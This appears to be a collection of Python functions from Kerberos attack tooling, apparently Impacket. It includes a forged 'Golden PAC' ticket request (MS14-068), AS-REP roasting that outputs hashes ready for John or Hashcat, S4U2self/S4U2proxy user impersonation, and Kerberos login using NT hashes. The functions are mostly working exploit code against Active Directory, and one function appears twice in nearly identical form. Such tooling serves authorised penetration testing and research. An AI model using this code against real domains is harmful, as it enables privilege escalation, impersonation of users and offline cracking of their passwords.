def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype,)) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey
def getTGT(self, userName, requestPAC=True): clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.__domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, self.__kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, self.__kdcHost) else: raise e # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) if self.__outputFormat == 'john': # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) else: # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey): # Decode the TGT try: decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] except: decodedTGT = decoder.decode(tgt, asn1Spec=TGS_REP())[0] domain = domain.upper() # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.renewable_ok.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(cipher.enctype))) message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print authenticator.prettyPrint() print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal( self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack( '<I', constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int( constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print paForUserEnc.prettyPrint() encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal( self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int( cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print tgsReq.prettyPrint() logging.info('\tRequesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print tgs.prettyPrint() ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket, )) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype))) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey): decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print authenticator.prettyPrint() print ('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print paForUserEnc.prettyPrint() encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.canonicalize.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print tgsReq.prettyPrint() logging.info('\tRequesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print tgs.prettyPrint() ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal('ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % ( resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
